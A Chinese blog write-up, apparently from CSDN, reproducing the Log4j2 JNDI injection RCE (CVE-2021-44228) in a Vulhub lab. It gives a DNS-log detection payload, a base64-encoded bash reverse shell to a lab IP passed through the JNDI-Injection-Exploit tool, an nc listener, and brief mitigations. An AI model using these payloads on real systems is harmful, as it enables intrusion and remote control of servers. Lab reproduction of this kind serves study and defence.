漏洞复现-log4j2远程代码执行漏洞

漏洞复现-log4j2远程代码执行漏洞

0x00 前言

漏洞编号:CVE-2021-44228

产生原因:

log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码

受影响版本:

2.0 <= Apache Log4j <= 2.15.0-rc1

0x01 环境搭建

使用Vulhub环境搭建靶场

image-20230306175906071

准备工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

0x02 漏洞复现

1、测试漏洞是否存在

payload:${jndi:ldap://${sys:java.version}.edbei9.dnslog.cn}

image-20230306192607982

2、利用JNDI注入反弹shell

bash -i >& /dev/tcp/192.168.12.131/4444 0>&1
# base64加密后
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyLjEzMS80NDQ0IDA+JjE=
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64编码后的shell}|{base64,-d}|{bash,-i}" -A 攻击主机IP

# 利用工具进行注入
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyLjEzMS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.12.131

# 将生成的相应环境的rmi、ldap参数写入payload进行访问

# 开启监听
nc -lvp 4444

我的环境在镜像中,所以换种方式验证是否成功

touch /tmp/yunkong
dG91Y2ggL3RtcC95dW5rb25n

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,dG91Y2ggL3RtcC95dW5rb25n}|{base64,-d}|{bash,-i}" -A 192.168.12.131

image-20230306202608135

0x03 修复方案

1、限制用户输入rmi、ldap、jndi、$等字符
2、将Apache Log4j升级到最新版本
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值